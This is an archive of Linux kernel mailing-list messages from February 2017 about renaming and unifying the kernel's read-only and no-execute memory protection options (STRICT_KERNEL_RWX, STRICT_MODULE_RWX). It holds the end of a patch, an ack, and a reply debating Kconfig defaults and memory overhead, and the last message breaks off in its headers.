 CONFIG_CRYPTO_HMAC=y
diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3000_defconfig
index fb92b89..8e8f0e3 100644
--- a/arch/parisc/configs/c3000_defconfig
+++ b/arch/parisc/configs/c3000_defconfig
@@ -166,7 +166,6 @@ CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
 # CONFIG_DEBUG_BUGVERBOSE is not set
 # CONFIG_RCU_CPU_STALL_DETECTOR is not set
-CONFIG_DEBUG_RODATA=y
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_MD5=m
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index e02ada3..a055e5b 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -545,7 +545,7 @@ void free_initmem(void)
 }
 
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 void mark_rodata_ro(void)
 {
 	/* rodata memory was already mapped with KERNEL_RO access rights by
diff --git a/include/linux/filter.h b/include/linux/filter.h
index e4eb254..c2d2827 100644
--- a/include/linux/filter.h
+++ b/include/linux/filter.h
@@ -545,7 +545,7 @@ static inline bool bpf_prog_was_classic(const struct bpf_prog *prog)
 
 #define bpf_classic_proglen(fprog) (fprog->len * sizeof(fprog->filter[0]))
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_STRICT_MODULE_RWX
 static inline void bpf_prog_lock_ro(struct bpf_prog *fp)
 {
 	set_memory_ro((unsigned long)fp, fp->pages);
@@ -563,7 +563,7 @@ static inline void bpf_prog_lock_ro(struct bpf_prog *fp)
 static inline void bpf_prog_unlock_ro(struct bpf_prog *fp)
 {
 }
-#endif /* CONFIG_DEBUG_SET_MODULE_RONX */
+#endif /* CONFIG_STRICT_MODULE_RWX */
 
 int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap);
 static inline int sk_filter(struct sock *sk, struct sk_buff *skb)
diff --git a/include/linux/init.h b/include/linux/init.h
index 885c3e6..79af096 100644
--- a/include/linux/init.h
+++ b/include/linux/init.h
@@ -126,10 +126,10 @@ void prepare_namespace(void);
 void __init load_default_modules(void);
 int __init init_rootfs(void);
 
-#if defined(CONFIG_DEBUG_RODATA) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
+#if defined(CONFIG_STRICT_KERNEL_RWX) || defined(CONFIG_STRICT_MODULE_RWX)
 extern bool rodata_enabled;
 #endif
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 void mark_rodata_ro(void);
 #endif
 
diff --git a/include/linux/module.h b/include/linux/module.h
index cc7cba2..e270da2 100644
--- a/include/linux/module.h
+++ b/include/linux/module.h
@@ -764,7 +764,7 @@ extern int module_sysfs_initialized;
 
 #define __MODULE_STRING(x) __stringify(x)
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_STRICT_MODULE_RWX
 extern void set_all_modules_text_rw(void);
 extern void set_all_modules_text_ro(void);
 extern void module_enable_ro(const struct module *mod, bool after_init);
diff --git a/init/main.c b/init/main.c
index b0c9d6f..0b7bae2 100644
--- a/init/main.c
+++ b/init/main.c
@@ -925,7 +925,7 @@ static int try_to_run_init_process(const char *init_filename)
 
 static noinline void __init kernel_init_freeable(void);
 
-#if defined(CONFIG_DEBUG_RODATA) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
+#if defined(CONFIG_STRICT_KERNEL_RWX) || defined(CONFIG_STRICT_MODULE_RWX)
 bool rodata_enabled __ro_after_init = true;
 static int __init set_debug_rodata(char *str)
 {
@@ -934,7 +934,7 @@ static int __init set_debug_rodata(char *str)
 __setup("rodata=", set_debug_rodata);
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 static void mark_readonly(void)
 {
 	if (rodata_enabled)
diff --git a/kernel/configs/android-recommended.config b/kernel/configs/android-recommended.config
index 297756b..99127ed 100644
--- a/kernel/configs/android-recommended.config
+++ b/kernel/configs/android-recommended.config
@@ -11,7 +11,7 @@ CONFIG_BLK_DEV_LOOP=y
 CONFIG_BLK_DEV_RAM=y
 CONFIG_BLK_DEV_RAM_SIZE=8192
 CONFIG_COMPACTION=y
-CONFIG_DEBUG_RODATA=y
+CONFIG_STRICT_KERNEL_RWX=y
 CONFIG_DM_CRYPT=y
 CONFIG_DM_UEVENT=y
 CONFIG_DM_VERITY=y
diff --git a/kernel/module.c b/kernel/module.c
index 3d8f126..58856a4 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -74,9 +74,9 @@
 /*
  * Modules' sections will be aligned on page boundaries
  * to ensure complete separation of code and data, but
- * only when CONFIG_DEBUG_SET_MODULE_RONX=y
+ * only when CONFIG_STRICT_MODULE_RWX=y
  */
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_STRICT_MODULE_RWX
 # define debug_align(X) ALIGN(X, PAGE_SIZE)
 #else
 # define debug_align(X) (X)
@@ -1844,7 +1844,7 @@ static void mod_sysfs_teardown(struct module *mod)
 	mod_sysfs_fini(mod);
 }
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_STRICT_MODULE_RWX
 /*
  * LKM RO/NX protection: protect module's text/ro-data
  * from modification and any data from execution.
diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c
index b26dbc4..86385af 100644
--- a/kernel/power/hibernate.c
+++ b/kernel/power/hibernate.c
@@ -1156,7 +1156,7 @@ static int __init hibernate_setup(char *str)
 	} else if (!strncmp(str, "no", 2)) {
 		noresume = 1;
 		nohibernate = 1;
-	} else if (IS_ENABLED(CONFIG_DEBUG_RODATA)
+	} else if (IS_ENABLED(CONFIG_STRICT_KERNEL_RWX)
 		   && !strncmp(str, "protect_image", 13)) {
 		enable_restore_image_protection();
 	}
diff --git a/kernel/power/power.h b/kernel/power/power.h
index 1dfa0da..7fdc40d 100644
--- a/kernel/power/power.h
+++ b/kernel/power/power.h
@@ -61,12 +61,12 @@ extern int hibernation_snapshot(int platform_mode);
 extern int hibernation_restore(int platform_mode);
 extern int hibernation_platform_enter(void);
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 /* kernel/power/snapshot.c */
 extern void enable_restore_image_protection(void);
 #else
 static inline void enable_restore_image_protection(void) {}
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_STRICT_KERNEL_RWX */
 
 #else /* !CONFIG_HIBERNATION */
 
diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c
index 2d8e2b2..905d5bb 100644
--- a/kernel/power/snapshot.c
+++ b/kernel/power/snapshot.c
@@ -38,7 +38,7 @@
 
 #include "power.h"
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 static bool hibernate_restore_protection;
 static bool hibernate_restore_protection_active;
 
@@ -73,7 +73,7 @@ static inline void hibernate_restore_protection_begin(void) {}
 static inline void hibernate_restore_protection_end(void) {}
 static inline void hibernate_restore_protect_page(void *page_address) {}
 static inline void hibernate_restore_unprotect_page(void *page_address) {}
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_STRICT_KERNEL_RWX */
 
 static int swsusp_page_is_free(struct page *);
 static void swsusp_set_page_forbidden(struct page *);
-- 
2.7.4



From - Thu Nov 08 21:39:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv3 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Tue, 7 Feb 2017 08:16:46 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20170207071646.GA18584@gmail.com>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
 <1486427518-14819-2-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1486451816 9929 195.159.176.226 (7 Feb 2017 07:16:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Feb 2017 07:16:56 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        Kees Cook <keescook@chromium.org>,
        Mark Rutland <mark.rutland@arm.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-ker
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-doc-owner@vger.kernel.org Tue Feb 07 08:16:50 2017
Return-path: <linux-doc-owner@vger.kernel.org>
Envelope-to: lnx-linux-doc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-doc-owner@vger.kernel.org>)
	id 1cb01A-0007ct-KS
	for lnx-linux-doc@m.gmane.org; Tue, 07 Feb 2017 08:16:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752530AbdBGHQx (ORCPT <rfc822;lnx-linux-doc@m.gmane.org>);
        Tue, 7 Feb 2017 02:16:53 -0500
Original-Received: from mail-wr0-f193.google.com ([209.85.128.193]:34886 "EHLO
        mail-wr0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751988AbdBGHQv (ORCPT
        <rfc822;linux-doc@vger.kernel.org>); Tue, 7 Feb 2017 02:16:51 -0500
Original-Received: by mail-wr0-f193.google.com with SMTP id o16so4880166wra.2;
        Mon, 06 Feb 2017 23:16:50 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=ypWzSy30G4OSqO3kCaGNzous7W0MCri9g8GmZUss784=;
        b=Xn6hYAcYwpNDcNgxSITCr2IWDt38rJNWn5tInJv5Y5nuOO2TohfWCJ1Oo24c+t8jlv
         kxTcO1ReczKdxLQ9/MkakyoD1esr9OuMkbR05SZE1yE4JxtLuPscVUj0i3yw+JRxu7y9
         JJXMhMOQ72qN435lTdekA8K9HAq47huSVG6YPqrweuKPAm+LzErv3HqyupS8eN5nzFAp
         sbWxbJ61dJG+YQFEUvZ0WLB7FoowzkX5ieX0w9Y7AkfNNC12yag1ulAty4qnMUxhMyMi
         FD13wExSez6q9NnwLswu2Tbyu/4fmbw+YvxmtNmS74MacET+pdUN5zoEqNcafncQUKjW
         lWtw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent;
        bh=ypWzSy30G4OSqO3kCaGNzous7W0MCri9g8GmZUss784=;
        b=Bt8bw+qmZIt1uQOAbWt+K2gXvjwhX4LfnVwQymVamMKLUGCsF+qX4CbUyH1NzwGo7K
         aRfIixPNI9e317kyGcOEGxdhrZhmOP9vH1wmtydHlQhcynTFr1rDRg6Hxk8Y1o3er9ow
         KNfk5sSo8F3siXdgchI46hTkpB7+Iy1q4g8wwTzMXIjSD99EDAT49zJSqTvjcl1sFHTV
         k1AvOaLc+qMt3xaNxU8L1Q6N7GBZZZ4MEhPans2RwjRjc3dnk+kW9NsW8w1xlHMzalo3
         cokDAhqfN+gDn0oPQ3l1MlCGpgn7vqMQ2LImPnpacawzNgHXrUrvg7jn8LMmAl5Uszyh
         tfcA==
X-Gm-Message-State: AIkVDXJfgAezVHfTQaG/+JAyLIqfplu9/S2NwjLvvi5OpaPFLSrGcj9pXGA/WhiaJejp0g==
X-Received: by 10.223.176.142 with SMTP id i14mr15337504wra.4.1486451809726;
        Mon, 06 Feb 2017 23:16:49 -0800 (PST)
Original-Received: from gmail.com (2E8B0CD5.catv.pool.telekom.hu. [46.139.12.213])
        by smtp.gmail.com with ESMTPSA id p7sm5693702wrc.34.2017.02.06.23.16.47
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 06 Feb 2017 23:16:48 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1486427518-14819-2-git-send-email-labbott@redhat.com>
Original-Sender: linux-doc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-doc.vger.kernel.org>
X-Mailing-List: linux-doc@vger.kernel.org
Xref: news.gmane.org gmane.linux.documentation:44761 gmane.linux.kernel:2405208 gmane.linux.ports.arm.kernel:557359 gmane.linux.ports.parisc:27267 gmane.linux.power-management.general:86254 gmane.linux.kernel.hardened.devel:5514
Archived-At: <http://permalink.gmane.org/gmane.linux.documentation/44761>


* Laura Abbott <labbott@redhat.com> wrote:

> 
> There are multiple architectures that support CONFIG_DEBUG_RODATA and
> CONFIG_SET_MODULE_RONX. These options also now have the ability to be
> turned off at runtime. Move these to an architecture independent
> location and make these options def_bool y for almost all of those
> arches.
> 
> Signed-off-by: Laura Abbott <labbott@redhat.com>
> ---
> v3: Make these configs selectable for arm. Include some documentation about
> how the setup of the optional Kconfigs work as well. Stop spelling 'kenrel'
> in prompt text.
> ---
>  Documentation/security/self-protection.txt |  6 ++++++
>  arch/Kconfig                               | 34 ++++++++++++++++++++++++++++++
>  arch/arm/Kconfig                           |  4 ++++
>  arch/arm/Kconfig.debug                     | 11 ----------
>  arch/arm/mm/Kconfig                        | 12 -----------
>  arch/arm64/Kconfig                         |  5 ++---
>  arch/arm64/Kconfig.debug                   | 11 ----------
>  arch/parisc/Kconfig                        |  1 +
>  arch/parisc/Kconfig.debug                  | 11 ----------
>  arch/s390/Kconfig                          |  5 ++---
>  arch/s390/Kconfig.debug                    |  3 ---
>  arch/x86/Kconfig                           |  5 ++---
>  arch/x86/Kconfig.debug                     | 11 ----------
>  13 files changed, 51 insertions(+), 68 deletions(-)

Acked-by: Ingo Molnar <mingo@kernel.org>

Thanks,

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-doc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Tue, 7 Feb 2017 08:36:07 +0100
Lines: 160
Approved: news@gmane.org
Message-ID: <20170207073607.GA32054@amd>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-2-git-send-email-labbott@redhat.com>
 <CAGXu5jK6_y=dWHUDBto7ykN_sSOQ6Gx+sZs_gQ1Hoh5DjP-fTw@mail.gmail.com>
 <20170203202919.GE27312@n2100.armlinux.org.uk>
 <CAGXu5j+HOTHRrFJFMsMaAvqcTAUoEBuphzrYAr7VAjJQU9_RYA@mail.gmail.com>
 <f88765d3-4c45-542e-892b-33a6c3c3c4d2@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
        protocol="application/pgp-signature"; boundary="uAKRQypu60I7Lcqm"
X-Trace: blaine.gmane.org 1486452976 7576 195.159.176.226 (7 Feb 2017 07:36:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Feb 2017 07:36:16 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Kees Cook <keescook@chromium.org>,
        Russell King - ARM Linux <linux@armlinux.org.uk>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-pm-owner@vger.kernel.org Tue Feb 07 08:36:09 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1cb0Js-0006jj-MV
	for gll-linux-pm2@m.gmane.org; Tue, 07 Feb 2017 08:36:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752887AbdBGHgN (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Tue, 7 Feb 2017 02:36:13 -0500
Original-Received: from atrey.karlin.mff.cuni.cz ([195.113.26.193]:51646 "EHLO
        atrey.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752035AbdBGHgL (ORCPT
        <rfc822;linux-pm@vger.kernel.org>); Tue, 7 Feb 2017 02:36:11 -0500
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
        id DF06E815A7; Tue,  7 Feb 2017 08:36:07 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <f88765d3-4c45-542e-892b-33a6c3c3c4d2@redhat.com>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:86255 gmane.linux.documentation:44762 gmane.linux.kernel:2405219 gmane.linux.ports.arm.kernel:557363 gmane.linux.ports.parisc:27268 gmane.linux.kernel.hardened.devel:5515
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/86255>


--uAKRQypu60I7Lcqm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon 2017-02-06 10:47:45, Laura Abbott wrote:
> On 02/03/2017 01:08 PM, Kees Cook wrote:
> > On Fri, Feb 3, 2017 at 12:29 PM, Russell King - ARM Linux
> > <linux@armlinux.org.uk> wrote:
> >> On Fri, Feb 03, 2017 at 11:45:56AM -0800, Kees Cook wrote:
> >>> On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wro=
te:
> >>>> diff --git a/arch/Kconfig b/arch/Kconfig
> >>>> index 99839c2..22ee01e 100644
> >>>> --- a/arch/Kconfig
> >>>> +++ b/arch/Kconfig
> >>>> @@ -781,4 +781,32 @@ config VMAP_STACK
> >>>>           the stack to map directly to the KASAN shadow map using a =
formula
> >>>>           that is incorrect if the stack is in vmalloc space.
> >>>>
> >>>> +config ARCH_NO_STRICT_RWX_DEFAULTS
> >>>> +       def_bool n
> >>>> +
> >>>> +config ARCH_HAS_STRICT_KERNEL_RWX
> >>>> +       def_bool n
> >>>> +
> >>>> +config DEBUG_RODATA
> >>>> +       def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
> >>>> +       prompt "Make kernel text and rodata read-only" if ARCH_NO_ST=
RICT_RWX_DEFAULTS
> >>>
> >>> Ah! Yes, perfect. I totally forgot about using conditional "prompt"
> >>> lines. Nice!
> >>
> >> It's no different from the more usual:
> >>
> >>         bool "Make kernel text and rodata read-only" if ARCH_NO_STRICT=
_RWX_DEFAULTS
> >>         default y if !ARCH_NO_STRICT_RWX_DEFAULTS
> >>         depends on ARCH_HAS_STRICT_KERNEL_RWX
> >>
> >> But... I really don't like this - way too many negations and negatives
> >> which make it difficult to figure out what's going on here.
> >>
> >> The situation we have today is:
> >>
> >> -config DEBUG_RODATA
> >> -       bool "Make kernel text and rodata read-only"
> >> -       depends on MMU && !XIP_KERNEL
> >> -       default y if CPU_V7
> >>
> >> which is "allow the user to select DEBUG_RODATA if building a MMU non-=
XIP
> >> kernel", suggesting that the user turns it on for ARMv7 CPUs.
> >>
> >> That changes with this and the above:
> >>
> >> +       select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
> >> +       select ARCH_HAS_STRICT_MODULE_RWX if MMU
> >> +       select ARCH_NO_STRICT_RWX_DEFAULTS if !CPU_V7
> >>
> >> This means that ARCH_HAS_STRICT_KERNEL_RWX is set for a MMU non-XIP
> >> kernel, which carries the same pre-condition for DEBUG_RODATA - no
> >> problem there.
> >>
> >> However, ARCH_NO_STRICT_RWX_DEFAULTS is set for non-ARMv7 CPUs, which
> >> means the "Make kernel text and rodata read-only" prompt _is_ provided
> >> for those.  However, for all ARMv7 systems, we go from "suggesting that
> >> the user enables the option" to "you don't have a choice, you get this
> >> whether you want it or not."
> >>
> >> I'd prefer to keep it off for my development systems, where I don't
> >> care about kernel security.  If we don't wish to do that as a general
> >> rule, can we make it dependent on EMBEDDED?
> >>
> >> Given that on ARM it can add up to 4MB to the kernel image - there
> >> _will_ be about 1MB before the .text section, the padding on between
> >> __modver and __ex_table which for me is around 626k, the padding
> >> between .notes and the init sections start with .vectors (the space
> >> between __ex_table and end of .notes is only 4124, which gets padded
> >> up to 1MB) and lastly the padding between the .init section and the
> >> data section (for me around 593k).  This all adds up to an increase
> >> in kernel image size of 3.2MB on 14.2MB - an increase of 22%.
> >>
> >> So no, I'm really not happy with that.
> >=20
> > Ah yeah, good point. We have three cases: unsupported, mandatory,
> > optional, but we have the case of setting the default for the optional
> > case. Maybe something like this?
> >=20
> > config STRICT_KERNEL_RWX
> >   bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_=
RWX
> >   depends on ARCH_HAS_STRICT_KERNEL_RWX
> >   default ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
> >=20
> > unsupported:
> > !ARCH_HAS_STRICT_KERNEL_RWX
> >=20
> > mandatory:
> > ARCH_HAS_STRICT_KERNEL_RWX
> > !ARCH_OPTIONAL_KERNEL_RWX
> >=20
> > optional:
> > ARCH_HAS_STRICT_KERNEL_RWX
> > ARCH_OPTIONAL_KERNEL_RWX
> > with default controlled by ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
> >=20
> > Then arm is:
> >   select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
> >   select ARCH_HAS_STRICT_MODULE_RWX if MMU
> >   select ARCH_OPTIONAL_KERNEL_RWX if ARCH_HAS_STRICT_KERNEL_RWX
> >   select ARCH_OPTIONAL_KERNEL_RWX_DEFAULT if CPU_V7
> >=20
> > x86 and arm64 are:
> >   select ARCH_HAS_STRICT_KERNEL_RWX
> >   select ARCH_HAS_STRICT_MODULE_RWX
> >=20
> > ?
> >=20
> > -Kees
> >=20
>=20
> Yes, that looks good. I wanted it to be mandatory to avoid the
> mindset of "optional means we don't need it" but I see there
> are some cases where it's better to turn it off. I'll see if
> I can emphasize this properly in the help text ("Say Y here
> unless you love security exploits running in production")

What about fixing the memory wastage, instead? If you want something
almost-always-on, it should not waste megabytes of memory.

And BTW it is help text, not advertising for your favourite feature.
									Pavel

--=20
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blo=
g.html

--uAKRQypu60I7Lcqm
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iEYEARECAAYFAliZeOcACgkQMOfwapXb+vIc1QCdGBBKU2hn8xN42ay0JGRyEQOp
ihIAn0k+i064RqrbuZPkvyOSl/mzNcnF
=eSsv
-----END PGP SIGNATURE-----

--uAKRQypu60I7Lcqm--
--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv3 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Tue, 7 Feb 2017 12:42:11 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20170207114211.GB4973@osiris>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
 <1486427518-14819-2-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1486467758 22121 195.159.176.226 (7 Feb 2017 11:42:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Feb 2017 11:42:38 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        Kees Cook <keescook@chromium.org>,
        Mark Rutland <mark.rutland@arm.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradea
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-pm-owner@vger.kernel.org Tue Feb 07 12:42:31 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1cb4AC-00059M-Rn
	for gll-linux-pm2@m.gmane.org; Tue, 07 Feb 2017 12:42:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754048AbdBGLm2 (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Tue, 7 Feb 2017 06:42:28 -0500
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:44309 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1754047AbdBGLm0 (ORCPT
        <rfc822;linux-pm@vger.kernel.org>); Tue, 7 Feb 2017 06:42:26 -0500
Original-Received: from pps.filterd (m0098404.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.20/8.16.0.20) with SMTP id v17BdvQi028652
        for <linux-pm@vger.kernel.org>; Tue, 7 Feb 2017 06:42:26 -0500
Original-Received: from e06smtp06.uk.ibm.com (e06smtp06.uk.ibm.com [195.75.94.102])
        by mx0a-001b2d01.pphosted.com with ESMTP id 28faeks8e6-1
        (version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
        for <linux-pm@vger.kernel.org>; Tue, 07 Feb 2017 06:42:25 -0500
Original-Received: from localhost
        by e06smtp06.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-pm@vger.kernel.org> from <heiko.carstens@de.ibm.com>;
        Tue, 7 Feb 2017 11:42:22 -0000
Original-Received: from d06dlp02.portsmouth.uk.ibm.com (9.149.20.14)
